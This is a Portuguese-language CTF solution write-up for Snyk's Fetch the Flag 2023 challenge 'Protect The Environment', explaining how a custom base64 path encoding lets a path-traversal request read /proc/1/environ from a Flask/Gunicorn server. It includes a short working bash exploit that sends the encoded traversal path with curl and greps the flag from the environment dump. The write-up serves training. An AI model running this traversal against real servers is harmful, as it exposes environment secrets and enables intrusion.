Skip to main content

Snyk Fetch the Flag CTF 2023: solução do desafio Protect The Environment

Escrito por
snyk ctf protect the environment

30 de novembro de 2023

0 minutos de leitura

Obrigado por participar do Fetch com a gente! Parabéns às milhares de pessoas que participaram do Fetch the Flag CTF. Se você esteve no Fetch the Flag 2023 da Snyk e está procurando a resposta para o desafio Protect The Environment, chegou ao lugar certo. Vamos conferir a solução juntos!

O desafio usa uma camada de codificação base64 feita sob medida para os caminhos. Parece estar tudo certo, mas isso impede o Flask de aplicar automaticamente o chroot a arquivos estáticos. Trata-se de um ataque de inclusão de arquivos, mas, em vez de incluir um arquivo, você inclui o arquivo /proc/<pid>/environ. O usuário não é informado nem recebe uma forma de descobrir o PID, mas isso não é um problema, já que o PID 1 funciona (ou você pode simplesmente enumerá-los e encontrar o PID 8, usado pelos workers do Gunicorn).

#!/bin/bash

if [[ -z "$1" ]]
then
    echo "IP address or hostname not specified"
    exit 1
fi

if [[ -z "$2" ]]
then
    echo "Port not specified"
    exit 1
fi

curl -s http://$1:$2/`echo "assets/../../../../../../proc/1/environ" | base64` -o - | strings | grep -oE "flag{.*?}" --color=none

Obrigado por fazer o Fetch acontecer!

Muito obrigado a todas as equipes que participaram do Fetch the Flag 2023! Foi ótimo ver todo mundo por lá. Você também pode me encontrar no YouTube.

Confira as soluções dos outros desafios de 2023. Mãos à obra!

Publicado em: